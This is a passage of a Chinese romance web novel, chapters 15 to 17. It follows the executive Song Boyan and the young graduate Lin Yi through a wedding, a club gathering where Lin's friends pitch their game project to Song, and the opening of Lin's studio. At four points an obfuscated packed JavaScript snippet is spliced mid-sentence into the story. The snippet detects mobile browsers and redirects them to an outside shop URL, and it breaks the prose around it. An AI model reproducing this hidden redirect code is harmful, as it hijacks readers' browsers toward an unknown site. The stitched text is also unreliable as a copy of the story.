他含含糊糊嗯嗯啊啊,尴尬地咳嗽一身,“那个,是想问问您,周六可以带上我朋友的女朋友吗?她是海南人,在这边人生地不熟。” 他把雷霆的那套说辞原样说了一遍。 宋薄言:“当然,带什么人随你定。” 林仪一笑,露出一边酒窝,“那期待周六。” 宋薄言:“有多期待?” 林仪:“特别期待。” 宋薄言也笑了,“那就快去睡觉。” 跟宋薄言聊了会儿天,林仪总算是肯心满意足去睡了,起身就要跳床上去,宋薄言又叫住他,“先去厨房,给自己倒半杯牛奶,喝了再睡。” “我家里好像没有牛奶……”林仪自觉来到厨房打开冰箱,精神一振,“居然有!” 宋薄言提醒,“看看保质期。” 林仪找了找保质期,“没有过期,应该是我妈前几天补的货。” 他倒了半杯出来,放进微波炉加热。 宋薄言很满意小孩儿喝牛奶还知道先给自己加热,耐心地等它打好,然后乖乖仰头喝掉半杯牛奶。 少年抬手时,睡衣领口往另一边划去,锁骨皮肤露出一小片,天鹅颈修长白皙,锁骨线条漂亮,皮肤光滑与牛奶无异,是轻轻一压就能留痕的程度。 宋薄言别开目光,扯了扯领带。 “喝完了。” 林仪给他展示空杯子。 “嗯,去睡觉。” “好,宋先生晚安,不对,午安。” 挂掉电话后,宋薄言站在总统套房的窗边出神,刚冷静的手机又发出声音,是赵舒打来的电话。 “妈。” “薄言啊。”赵舒的声音传来,“怎么妈一说要给你介绍对象,你就跑美国去了?” 宋薄言转身回书房:“有公事。” 赵舒心态很稳,“那前几天给你提的那个相亲对象……” 宋薄言:“最近没时间。” 赵舒不死心,“哎呀,知道你在忙那个跨国项目,就是见见也不行么,花不了多长时间,人总是要吃饭的,吃的时候身边多个人而已。” “妈。”宋薄言声音平静,“我喜欢男人。” 赵舒:“……” 电话对面陷入沉默。 宋薄言这么多年从没出柜过,是因为谈恋爱不在他三十岁的人生计划中,所以出柜成了一件可做可不做的事。如今他还没到三十,新的规划还没出来,就这么冷不丁地出了柜,把赵舒狠狠噎住。 “这……你……怎么从没说过。” 赵舒嘟囔几句,“知道了知道了。” 匆匆挂掉电话,宋薄言放下手机继续办公,就好像什么都没发生过一般,赵舒女士反应也不是很大,他估计对面应该正在立马调整方略,开始给他物色男相亲对象了。 周六,草坪婚礼上,宋薄言坐在席间,注视着台上一对新人念誓词交换戒指,陆阳平坐在他旁边,脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478926|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歪过去,“诶,听说你出柜了。” 宋薄言眉峰一挑,“听谁说的。” 他知道这事儿不会是个秘密,即便第一个知道这个消息的人是他妈。 陆阳平:“听我三姨说的啊,说是赵阿姨最近在打听我三姨的外甥,听说他要回国了,问问他婚恋状况,赵阿姨一直在找圈内适龄女孩子要介绍给你这是大家都知道的,最近忽然变成男孩子了,你说还能是什么原因,你家又没别的孩子。” 宋薄言没说话,陆阳平压低声音,“那天带来酒会上那个小孩儿……” 宋薄言:“那是亲戚家的孩子。” 陆阳平:“哦~那你说说是哪个亲戚?” 宋薄言:“……” 宋薄言:“回头我问问。” 陆阳平露出一个颇有深意的笑,坐直了回去,交叠着双手放在膝盖,认真观看婚礼。 正好是扔捧花环节,新娘背过身去用力一扔,白色捧花精准无误落在了宋薄言身上。 陆阳平笑呵呵的,“好事将近哦,宋总。” 宋薄言:“是坐得太近。” 陆阳平:“是某人嘴太硬。” “……” 婚礼仪式结束后,宋薄言提前离场,他抬手看了看腕表,两点十分,程云峰的车开了过来。 宋薄言上车,“人接到了吗?” 程云峰把车开往安市某个会员制俱乐部,“三十分钟前已经安排车去接林仪先生和他的朋友们,估计现在快到俱乐部了。” 此时,林仪等人已经抵达俱乐部,余越看着设计简约大气的俱乐部logo,惊讶,“这好像是会员制俱乐部,而且不是一般人能入会的,我刷到过,一只很好奇富人们都在里面玩什么来着。” 林仪:“有打台球的吗?” 余越:“当然有啦,有吧。” 几人被领着进门,大厅是中世纪古典装修风格,家居陈设精美奢华,就跟进了王室宫廷一样,跨过前厅,从巨大的落地玻璃窗可看见,后面有个巨大的人工湖,另一边是高尔夫球场,再远只能看见一片森林。 余越“嚯”了一声,“早知道我就该穿一身燕尾服来的。” 雷霆问身旁带他们的管理员,“可以去后面参观吗?” 管理员:“当然可以,请稍等一下,观光车马上开过来。” 几个人兴致勃勃在大厅参观起来,旁边还有吧台,雷霆带着阿沫去要了点喝的,林仪找了个地方坐下,给宋薄言发消息。 林仪:「宋先生,我们到了,您快到了吗?」 宋:「十分钟。」 宋:「不用等,先去玩儿。」 观光车开过来了,林仪关了手机起身,被余越摁住。 “你就别去了,宋先生还没来,你在这里等等他。” 林仪:“?为什么不让我去?” 余越给出理由,“观光车坐不下了。” 林仪探出身子看了一下,“坐得下啊。” 余越换了个理由,“你怎么还不懂,我是在给你创造机会,你玩儿什么,几天没见了难道他不想第一个看到你么。” 林仪眨了眨眼。 余越也冲他眨眨眼,林仪就知道他没憋好屁,勒着他脖子压低声音警告,“先说好啊,我和宋先生现在真的只是朋友关系,你们待会儿见了人不要乱说话!也不要起哄,否则我下次不会和你们打副本了,我去找别人组队!” 余越慌了,“别啊,你可是最好的法师!” 林仪:“那就管住嘴!” 余越:“知道了知道了,放心吧,我有分寸。” 林仪给了他一锤,跟几人打了声招呼,自己去了前厅。 等宋薄言。 15. 策反 服务员给林仪送来一杯调好的低度数饮品,林仪说了声谢谢,拿起杯子喝了一口,窝进沙发玩手机等人。 宋薄言很有时间观念,说是十分钟,一分不早一分不晚,穿着一身做功考究黑西装的高大男人从大门进来时,林仪一眼就看到了他。 “宋先生!” 少年跟个小炮弹一样冲过去,又在快踩上对方鞋子时猛然刹车,抬头乌湛湛的眼睛看向男人,声音软软的,“宋先生,您来了。” 宋薄言怕他撞上,下意识抬手虚虚落在少年腰上,眼神相接,蓦然被少年的目光吸引住。 那是一种澄明入镜的清澈眼眸中,只看得见一个人的眼神。 “在等我?”男人眸子里化开一丝柔意,鬼使神差地捏了捏少年有些微鼓的脸颊肉。 “嗯!好多天没见到宋先生了。”林仪目光往下,落在男人西装口袋,“宋先生刚参加完婚礼吗?” 宋薄言低头看着自己西装口袋里插的一小朵白色百合,“朋友的婚礼,刚回来。” 新娘是他的熟人,准备这场婚礼已经有一年了,大大小小流程都是夫妻俩亲手把控,新娘对婚礼具体细节要求非常严格,包括每一位出场的男士胸口必须要有一朵白色百合。 他将百合取下,顺手塞在少年衬衣口袋,温热地指腹隔着薄薄的衬衣蹭过少年皮肤,他自己倒没什么感觉,但林仪心口却像是被羽毛挠了一下。 林仪嘟囔着开口,“白色百合花的花语是纯洁的爱情。” “我知道。”宋薄言回头看了他一眼,后知后觉询问:“要吗?” 林仪两个小酒窝若隐若现,“要。” 此时,湖边开着观光车游览的余越等人正把脑袋凑在一起共商大事。 “按计划行事,阿沫一会儿你去把林仪引开,等宋先生落了单,我们就过去邀请他喝一杯,如此便能试探出他底细。” 阿沫持怀疑态度,“你确定你们真能试探出那位宋先生底细?我听阿霆说,人家是事业有成的成功人士,这种人一般都城府挺深吧,你们几个可都是刚从象牙塔里出来的生瓜蛋子,谁试探谁?” 李旭不以为意,“不然!这位宋先生是个带暧昧对象出去开房都只开套房的人,他必然是个传统守旧的好好先生,即便他在商场上游刃有余,在爱情方面未必有余越经验丰富。” 余越一摆手,“别听李旭的,你自己是个什么人就以为别人是什么人,这个宋先生肯定是假正经,等会儿见了面,我自有办法。” 阿沫将信将疑,“好吧。” 反正她的任务很简单。 几人在湖边游览一圈,半小时后回到大厅,见林仪正和宋薄言坐在吧台边交流,余越给阿沫使了个眼神。 阿沫走了过去,林仪注意到他们,“你们回来了,我来给你们介绍一下。” “这位是宋先生,宋先生,这是我的朋友。” 他一一介绍了一干人等,宋薄言始终保持着礼仪风度,并未因为几人都是晚辈就摆出高高在上的姿态,“晚宴六点开始,在此之前,俱乐部所有项目你们都可以玩。” 李旭眼镜镜片闪过一道光,“都可以吗?我看那边有马场,可以骑马吗?” 宋薄言:“当然,可以去找管理员带你去马舍挑选一匹马。” 李旭激动起来,立马被余越偷偷戳了一下。余越一眼就看到林仪胸口的百合花,除了宋先生送的还能是谁。 还挺会。 余越:“哈哈,骑马就先不用了,大家好不容易聚在一起,当然是要多聊聊天。” 阿沫道:“对啊,我们一起玩吧,林仪,我听阿霆说你台球打得很好,不如我们来过过招?” 林仪:“可以啊,我看那边有台球桌,宋先生……” 宋薄言摸了摸他头发,下巴一抬,“去吧。” 林仪被阿沫领走后,宋薄言没走,反而是对着剩下的人道:“去会议室谈吧。” 几人下意识跟上,很快就反应过来不对。 我方主动化被动! 余越落后几步,压低声音问:“怎么回事,我们还没邀请,宋先生怎么就主动带我们去会议室?” 雷霆:“难道他早知道我们要干什么?” 李旭:“不可能吧,会不会是宋先生也想跟我们了解了解林仪?” 余越难得认同李旭的说法,“有可能,你们几个,待会儿注意言辞,不能让他占了先机。” 进了会议室,宋薄言大步走到老板椅前坐下,抬手理了理袖口,那气场仿佛在开一场决定公司生死命运的股东大会。 余越等人莫名紧张起来,要知道,他们毕业后就自己做事,连大厂公司面试都没参加过。 “坐吧。” 宋薄言示意他们坐下,他是这里的高级会员,服务员都认识他,给他上了他常喝的茶,又轻声细语问其他人要喝什么。 很快茶水上齐,余越等人已经有些如坐针毡,总觉得哪里不对劲,但他还是按照原来的计划,率先打破这诡异的氛围,“咳咳,像宋先生这么优秀的男人,以前跟您在一起的人一定也很优秀吧?” 其余几人鼻孔微微撑大。 高啊~ 简简单单一句话,就能试探出对方过去的感情状况。 纷纷小幅度点头,目光犀利地盯着宋薄言,看他如何作答。 宋薄言抬眉看了他一眼,工作中他一向是倾听得多,眼神冷肃不怒自威,很多时候,汇报者只用看他眼神,就知道自己肯定是哪里有问题。 余越下意识咽了咽口水,手心还有点微微出汗。 不对,是场景不对。 聊这种私事应该是在一个轻松的氛围中,这办公室装修风格十分商务,每个位置上还有麦克风,不知道的还以为他们在开什么国际会议。 他拿起茶杯喝茶,杯盖和白瓷茶盏发出细细的碰撞声。 操,怎么有点紧张。 宋薄言面不改色道:“这是私人问题。聊聊你们的项目吧,现在进展到哪一步了?立项报告写好了?游戏基本框架和关卡逻辑搭建好了?有没有demo?” “……” “……” “!!!” 一通问题问下来,全军溃败。 敌人实在太出其不意了,余越大脑宕机几秒,论文答辩ptsd都快当场发作了,他现在好像在被导师死亡十连问,已经汗流浃背。 不过好在他们虽然没有准备,但话题内容却是他们熟悉的领域,一个大老板坐在他们面前如此正式严肃地提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478927|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问,他们很快就进入状态,滔滔不绝地把他们对这个游戏的设想和思路讲了出来,顺带还展望了一下游戏问世后的反响。 说完后几人对视一眼,默契地点头。 讲得非常好,以后拉投资的时候,就按照今天的话术演讲,必然能拉来不少投资。 宋薄言认真听完,做出点评,“内容不错,但存在的问题也不少。” 他给出自己的意见后,取出一张自己的名片,压在指尖送过去,“先把demo做出来,我需要进一步安排做出评估,这是我的名片,有任何需要,联系我。” 余越稀里糊涂接过名片,一看,大为震惊。 竟……竟然是新垣集团! 安市龙头企业,所涉及行业面很广,从传统行业到好几种今年飞速崛起的新兴行业,新垣集团都有涉及,唯独就是游戏方面涉足不深。 那么他在听完他们的演讲后,是不是对这个方向产生了兴趣? 他们要做的游戏是3A级别的,高质量、高体量、高成本,开发过程耗时长,需要大量资金投入。 他们现在虽然是一个连框架都不完整的起步阶段,但也早就想到过日后资金问题,免不了以后要去拉投资。 但现在,金主自己送上门来了! 余越等人已经完全忘记了什么“假正经”“真传统”,抓住机会跟金主爸爸聊自己的游戏,跟推销自家儿子似的,不知不觉已经过了两个小时。 林仪和阿沫打台球也打了两个小时。 阿沫说有点累了,两人就去吃了点东西,正好宋薄言和余越等人从会议室出来了,宋薄言走过来,手搭在少年坐的沙发后,弯腰轻声说:“我有事去打个电话,你们先去餐厅。” 林仪乖巧点头,“好。” 宋薄言走后,林仪转头问余越,“你们怎么一起过来的?” 余越露出老父亲的微笑,握着林仪的手,眼含热泪,“珍惜眼前人。” 雷霆拍拍他的肩,“好好过吧。” 李旭抱拳,“从前是我对宋先生有误解,我道歉,并在此宣布,以后宋先生就是我的教父。” “……”林仪眼皮一跳,“他认么?” 李旭微微一笑,并不在乎。 朝圣者会在乎主看没看见自己么? 林仪有点后悔,刚才就应该跟着他们一起去观光,也好盯着他们到底在搞什么飞机,现在他们这个样子让林仪很没底,生怕一会儿吃饭的时候这些人憋个大的。 他和宋薄言可都是正经人,可不能玩那些游戏哦~ 很快到了饭点,一群人被领着去了包间,菜一点点上齐,宋薄言终于结束了漫长的工作电话,方形的长条桌子给他留了主位,他径直走过去坐下,微微抬手,“久等了,吃饭吧。” 服务员送来红酒给每个人倒上,轮到林仪时,宋薄言抬手虚虚挡住他的高脚杯口,“给他来杯热牛奶。” 小孩儿酒量差,他是见识过的,要是自己不看着点儿,晚上可能会钻森林里去。 服务员:“好的先生。” 桌上,余越和众人交换眼神,微微咳嗽一声,提高音量,“宋先生怎么知道我们林仪宝宝最爱喝牛奶了!” 林仪:“……” 拉响警报。 16. 看看腿 兄弟多年,对方抬抬屁股都知道要放什么屁。 林仪抬手扶额遮住视线,给余越使眼色,余越没看见似的。 宋薄言投去目光,似乎很感兴趣,鼓励他继续说。 余越一撸袖子激情道:“林仪从小就爱喝牛奶,是个奶娃娃来着,小时候身上总有一股奶香味儿,被同学说过几次后,他就闹脾气说不喝了,但又实在忍不住,所以就晚上洗澡前喝,这样洗完澡身上就没味道了,结果别人还是说他身上有奶味儿,他就咬咬牙一狠心,戒掉了牛奶,他妈妈好几次跟我妈妈说,就是因为他不喝牛奶才长得没我高。” “……” “后来上了大学又开始复吸,好几次去他家都能看见厨房堆着各个国家进口的纯牛奶。” 林仪闭了闭眼。 怎么这种无聊的事也要翻出来说? 他跟宋薄言解释,“不是我买的,是我妈说喝牛奶长个儿,会定期给我送来牛奶。不是我爱喝,是我妈非要我喝。” 余越:“得了吧,喜欢就是喜欢,你每次来我家不也得喝个好几罐。” 林仪嘴硬,“那是你家只有牛奶。” 李旭“哦”了一声,“难怪你大学不住校,难道就是这个原因?我怎么没闻到过你身上有奶香?” 林仪:“……因为本来就没有。” 余越:“有的。” 林仪:“没有的。” 余越:“有的。” 礼仪:“没有的。” “……” 几个小年轻因为牛奶的事,你来我往要争个高低,宋薄言轻声一笑,打断了争论,“你们从小认识?” 余越龇个大牙花,“我们是邻居,差点儿上一个幼儿园了,说起这个,林仪小时候可好玩儿了,小学的时候班上一起表演节目,要手拉着手,林仪旁边是个女孩子,林仪死活不肯拉,说拉了手就会怀孕……” 阿沫哈哈笑起来,“这个我要出来说一句,我小时候也是这么以为的,怎么能怪林仪。” 雷霆立马附和,“我也听过这个传说,到底谁传出来的,怎么全国都一个说法?” 余越摆手,笑得肩膀抖个不停,“不是,他以为怀孕的是他!” “哈哈哈哈哈哈哈~” 雷霆:“我还不知道这段儿呢。” 林仪:“…………” 余越大笑,“还有别的呢。” “咳咳。”林仪忽然喉咙痒了,顺手喝了口服务员送来的饮料,喝完发现是牛奶,烫手般立马放下,不停对余越使眼色,让他跟自己出去一趟。 余越才不鸟他,继续往外抖落,“林仪小时候还怕鬼,有一次去我家看了恐怖片,连回家都不敢一个人回家,还是我送他的,关键是他家还就在我家对面,走两步就到了哈哈哈。” 宋薄言眼角带着笑意,一直耐心听着,并未觉得无聊。 “……”林仪不停喝牛奶企图把自己灌醉,直到余越说到他从小到大的感情生活,林仪不得不出手……不,出脚,狠狠踩了对面余越一脚。 宋薄言侧眸看了他一眼,他微微一笑,默默拿起牛奶优雅地抿了一口。 余越似乎被呛到了,捂着嘴咳嗽几声,没再继续那个话题,林仪就趁机把话题引到了刚回来的雷霆和阿沫身上。 这顿饭总算是吃完了,林仪满头大汗,打算等一会儿出去后找余越算账。 余越也知道自己被利益冲昏了头脑,不小心把自己发小卖了,心中理亏,可不敢跟林仪单独走,混在一堆人中间,顶着后背刮骨的视线上了车。 宋薄言让程云峰把其他人一一送回家,留下林仪和他两个人。 目送车子离开后,林仪登时紧张起来,已经有些不好意思面对宋薄言。 他低垂着脑袋,和大地深情对视,忽然目光瞥到宋薄言的鞋子。 宋薄言穿的一双黑色皮鞋,此时锃光瓦亮的鞋头上躺着一个灰扑扑的脚印,运动鞋底的纹路,很熟悉。 林仪呆愕,半晌木讷地问:“宋……宋先生,您鞋子上怎么有个脚印?” 宋薄言看了他一眼,目光很有深意,“不知道,可能是猫踩的。” 说完他朝停在门口的迈巴赫走去,司机替他打开了车门。 林仪愣在原地,不敢回忆。 所以他给余越那一脚,竟然踩在了宋先生脚上? 林仪晕头转向爬上车,等到车子开了出去,他才小声开口,“对不起,宋先生。” “对不起什么?”宋薄言语气颇有些玩味,很明显就是在明知故问。 林仪抬不起头,“不小心踩了您一脚。” “猫踩的。”宋薄言面不改色,“你是猫吗?” 林仪抿紧唇,没一会儿又自行解封,“我朋友他们就是喜欢开玩笑,宋先生你别当真。” 宋薄言:“那你得自己告诉我。” 林仪:“什么?” 宋薄言:“喜欢什么,讨厌什么,你可以自己告诉我,这样我才知道哪些是真的,哪些是假的。” 林仪:“我说的您都信吗?” 宋薄言:“信。” 交通信号灯变了色,迈巴赫停在一个路口,两边行人交叉而过。 林仪盯着人群看了一会儿,在车子再次发动时说:“我喜欢喝牛奶。” 宋薄言勾起唇,“我知道。” 回去的路程很快,不知不觉就到了林仪小区楼下,林仪乖乖跟宋薄言道别,“宋先生,我回家了。” 他关上车门绕到另一边,照平常一样跟宋薄言挥手,宋薄言直接下了车,“我送你进去。” “哦哦。”林仪意外,稀里糊涂点点头,等把人领进小区时他才反应过来宋薄言这么做的理由,“宋先生,我不怕鬼。” 宋薄言转头看他,“实话?” 林仪点头:“是的,小时候怕,现在不怕了。” 宋薄言:“知道了。” “嗯嗯。”林仪等着宋薄言转身回去,结果光听到说“知道了”,宋先生还是在往前走。 宋薄言见他没跟上来,回头问:“走不动了?” 林仪露出一个笑,几步跟上去,自然而然牵起了宋薄言的手。 之前都牵过了,就是默认他们的关系已经到可以随便牵手的地步了吧? 宋薄言低头看了看小孩儿抓着他的手,调侃道:“不是不怕么?” “我不怕,但是怕宋先生怕。”林仪为找到了个冠冕堂皇的理由而得意。 宋薄言没有甩开,微微收拢力量,小区安安静静,只有叶落的声音。 林仪心里热热的,满满的,此时此刻一切都很适宜,适宜的路灯,适宜的晚风,适宜的人。 他有点希望这条路再长一点,但很不幸,他家就住在3栋,离小区门口很近,尽管已经刻意放慢脚步,还是不到五分钟就到了。 宋薄言将手松开,“回去吧,到家发条消息。” “好,我走了,下次见。” “等等。”宋薄言忽然叫住他。 “怎么了宋先生?”林仪鸦羽般的睫扑簌着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478928|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,头顶的路灯将他的影子斜斜拉在地面,有一半和宋薄言的影子重合。 下一瞬,影子重合范围不断变大,宋薄言朝他走了过来。 林仪呼吸越来越紧,愣愣看着男人朝他走近,弯腰低头不断靠近。 要……要亲吗? 这么快吗? 林仪飞快数了数他们认识的时间,又觉得好像也不算快。 毕竟换成余越的爸妈,这时候他们已经订婚了。 四舍五入他们也是可以订婚的关系了!林仪恍然大悟。 可以亲! 林仪顺势闭上了眼,却听耳边响起男人低缓嗓音,“的确有。” 林仪倏地睁开眼,喉有些干涩,“有什么?” 宋薄言弯腰凑近少年,保持着一掌的距离,在他颈间闻了闻,说:“奶香味儿。” 林仪:“!” 宋薄言直起身背着光,看不清他表情,嘴角似乎往上翘起一点弧度。 林仪舌头打了结,“我……我先上去了!” 他一个扭身猛冲,差点撞上玻璃门。 宋薄言牵起嘴角,“慢点,看路。” 林仪绕开玻璃门跑进电梯,他靠在电梯里,心扑通扑通跳个不停,好不容易平复下来,发现都没人按电梯。 一回到家,林仪把衣服脱下来里里外外闻了闻,甚至还闻了闻自己身上。 怎么连宋先生也骗他! 根本没有奶香味儿! 他把百合花取出来,衣服扔进脏衣篓,去浴室洗澡,路过镜子时,动作一顿,两步走过去一瞧,镜子里的人满脸通红,耳朵尖也是红红的,滴血一般。 “!” 他在宋先生面前就是这副鬼样子吗? 林仪扭头冲进去洗澡,等他把自己洗得白白的拍一张照片发给宋先生,挽救一下今日形象。 等洗完后他套上睡衣站在镜子跟前,非常满意现在的状态,就在浴.室.自.拍了起来。 林仪:「我到家了。」 林仪:「刚才在洗澡。」 林仪:「洗完了。」 林仪:「图片.jpg 」 宋薄言正在书房处理文件,手机忽然震了震,拿起来一看,小孩儿给他发了张自拍。 应该是在浴室拍的,身后的墙壁还有水汽,少年刚洗完澡,头发都没吹,湿淋淋贴着额头和耳畔。 少年睡衣穿得松散,露出清晰的锁骨线,刚用热水洗过的皮肤白里透红,整个人都粉粉嫩嫩的,水洗过的夏桃一般。 宋薄言很捉摸不透这个小孩儿,不是打视频就是发照片,每次都会露出锁骨上的那颗小痣,不知是故意还是无意。 他换了个姿势,点击保存,回了消息。 宋:「你很喜欢洗完澡给别人发照片?」 宋:「会给别的合作伙伴发么?」 少年很快回消息。 林仪:「怎么可能啊。」 林仪:「我只给你发。」 林仪:「可爱emoji」 林仪:「宋先生不喜欢吗?」 宋薄言起身走到窗边,「不是。」 他正编辑着,对面又发来消息。 林仪:「宋先生,要看我的腿吗?」 林仪:「别人都夸我腿很好看。」 宋薄言动作顿住。 林仪很紧张。 经常有小姐姐们夸他腿好看,说他腿又细又长又直又白,他有点迫不及待想给自己未婚夫……不是,相亲对象展示自己的优点。 17. 小兔子 宋薄言皱眉。 现在的小孩儿怎么回事,怎么跟自己的投资人这么没有边界。以后他有其他投资人,也会给他发这些照片? 也会主动给别的投资人看腿? 宋薄言冷脸打下几个字。 宋:「不看,去睡觉。」 发出去的同时,小孩儿已经把照片发了过来。 最近入了秋,少年一直穿的长裤,只知道比例很好,腿很长,至于裤子下面到底好不好看…… 他以为少年会脱了裤子拍,结果照片是穿着睡裤的。 少年站在镜子前,把腿撑得笔直笔直,光看到又长又直了,白不白的也不知道。 宋薄言吐了口气,点开仔细看了看。 照片里的人穿一身棉质睡衣,笔筒睡裤不长不短刚好垂到脚踝骨处。 那是一双很好握的脚踝骨…… 消息弹出来。 林仪:「不看吗?好吧。」 「消息已撤回」 宋薄言随手回了一句,之后小孩儿就没再闹腾,乖乖去睡觉了。 照片撤得快,他还来不及保存,但那截纤细莹白的脚踝骨却像是印在了虹膜,挥之不去。 宋薄言今晚的心情说不上好,心里打算着,下次一定要好好教育一下这小孩儿,不要什么人都给发这种照片。 尤其未来的合作伙伴、客户、投资人……往后他的项目做起来了,免不了要跟更多的人打交道。 难道他对每个人都要用这种方式维系关系?! 说是要找个机会教育小孩儿,但接下来的一段时间,宋薄言为那个跨国合作项目忙得团团转,ip地址换了又换,人几乎不在国内。 林仪的工作室装修得差不多了,开业前还有很多事需要安排,雷霆回来后,《大魔法师》的项目也在推进,林仪天天两头跑,晚上还要处理散客的单子,忙得头上冒烟儿。 一连大半个月,他和宋薄言都没见过面,每天在微信上的交流也是寥寥可数,好几次林仪想打视频,但发现自己和宋薄言还隔着时差,根本凑不到一块儿,索性就不打了,每天晚上雷打不动发一张自己洗完澡后的照片给对方。 这是他自有的一套维系感情的方式,觉得理所当然。 宋薄言虽然每次都会夸他,但每次他想给对方拍腿或者其他地方,都遭到了拒绝。 林仪无法理解,宋先生都夸他香了,为什么对他后腰上的兔子形胎记毫无兴趣? 真的是很可爱一只小兔子啊。 忙活了好一阵子,工作室要开业了,林仪给宋薄言打了个电话,邀请他来参加开业仪式,和他一起剪彩。 电话那头的宋薄言说了声抱歉,“我在国外,过几天才能回来。” 林仪有心理准备,算不上很失望,“那好吧,等宋先生回来,我带你参观我们工作室。” “好。”宋薄言道:“把地址发我。” 林仪顿生期待,“宋先生不是来不了吗?” 宋薄言:“工作室开业,我让程云峰送点花篮。” 林仪心底笑自己想太多,“好,我发给您。” 挂掉电话,林仪被余越叫了过去,他们小工作室开业,没弄多大排场,只请了他们项目组的小团体,还有两个员工,但个个都会来事,倒也热闹。 阿莱正在招呼人过去跟她一起研究刚买的香槟要怎么开,才能开出洒水车的效果。 土豆在收拾他的工位,他比较安静,脸长得嫩,经常被误会是未成年,所以专门做了个金属铭牌上面写了“已成年”放在了自己工位上。 林仪看着这个牌子很想笑,问他还有没有其他想要的,土豆看着自己的桌面,说:“想养桌面盆栽。” 林仪大方点头,“可以啊,现在工作室的绿植不多,过几天我统一去采买,你到时候跟我一起去挑。” 土豆点头,并没有说自己幻想的是要把工位搞成绿野仙踪。 “砰”一声,林仪被突如其来的爆破动静吓了一跳,扭头看见李旭手忙脚乱去接满天飞舞的彩带,“不好意思不好意思,我只是想试试这玩意儿怎么用,没想到给扭开了。” 余越大骂,“时间还没到了不许放炮,快收拾干净!” 李旭:“在扫了在扫了。” 林仪:“……” 他怎么不知道还买了这个? 等人到齐后,众人拥簇着老板林仪剪彩,小礼花砰砰砰放了好几个,阿莱也成功把香槟开出了想要的样子。 众人鼓掌庆贺。 “林老板恭喜啊~” “生意兴隆~” “发财发财!” “上市上市!” 几人碰了个杯,余越眉飞色舞问:“林老板,今天这么重要的日子,你的宋先生怎么没来?” 林仪:“他在国外出差,来不了。” 雷霆:“我们金主爸爸果然是大忙人。” 李旭端着高脚杯,把一身T恤短裤拖鞋端出了燕尾服的姿态,“是啊,成功男人就是如此。” 林仪:“……什么金主爸爸?” 雷霆刚张嘴,门口忽然来了很多辆车,阵仗挺大,余越探出脑袋,道:“坏了,不会是地头蛇砸场子来了吧?我就说咱们开店前得提前拜码头吧。” 雷霆:“拜个鬼啊,咱们是文明社会。” 林仪:“走,出去看看。” 门口停了三辆小型货车和一辆黑色的迈巴赫,车牌很熟悉,是宋薄言的,很快车门打开,程云峰走了过来,“林先生,宋总让我过来给您送开业贺礼。” 林仪:“程哥,别这么客气,叫我林仪就好。” 程云峰和余越等人都见过,互相打了招呼,余越道:“程哥,这几辆车都是宋总送的贺礼?” “是的。”程云峰带他们过去看,“宋总让人挑选了一些花篮和绿植。” “哇塞,这么多!” 花店员工开始卸货,两车都是花,每一个都是精心挑选搭配,拿出来一摆在门口,瞬间显得他们原本的黄金大麦很寡淡。 程云峰说:“除了花篮,宋总还精心挑选了一些放在办公室内的大小盆栽,都已是一些不会有过于浓烈香气,适合装饰的品种。” 土豆不喜欢热闹,这会儿也跟着出来了,看到车上的盆栽,眼睛放光。 阿沫对花比较懂行,看了看车上的品种咂舌,“这些可都不便宜,而且大多很娇贵,不太好养活啊。” 程云峰道:“这些花会有人定期来养护,不用担心。” 林仪正想说什么,土豆忽然开口,“我来养。” 程云峰看向他,不知道为什么店里还有小孩儿,只当是林仪朋友家的弟弟,“也可以的,回头我让他们把养护方法整理成册给你们送来,花当然是自己养更有趣。” 一时间所有人都忙着一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478929|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盆一盆把花搬进工作室,都是搞设计的,阿莱指挥着一群苦力把花放在合适的位置,整个工作室顿时鲜亮起来,看着倒不像上班的地方,像哪个富豪家的后花园。 花搬得差不多了,程云峰又打开车门,“这里还有一座雕塑和两幅油画,是宋总前些日子的拍品,也都送给林先生做装饰。” 林仪美院出身,一看就知道这三幅作品是出自谁手,尤其那两幅画的作者,林仪一直很喜欢,其中有一个他之前去欧洲旅游时,还跟他见过面,一起游玩了一阵。 “宋先生真有心。”林仪喃喃道。 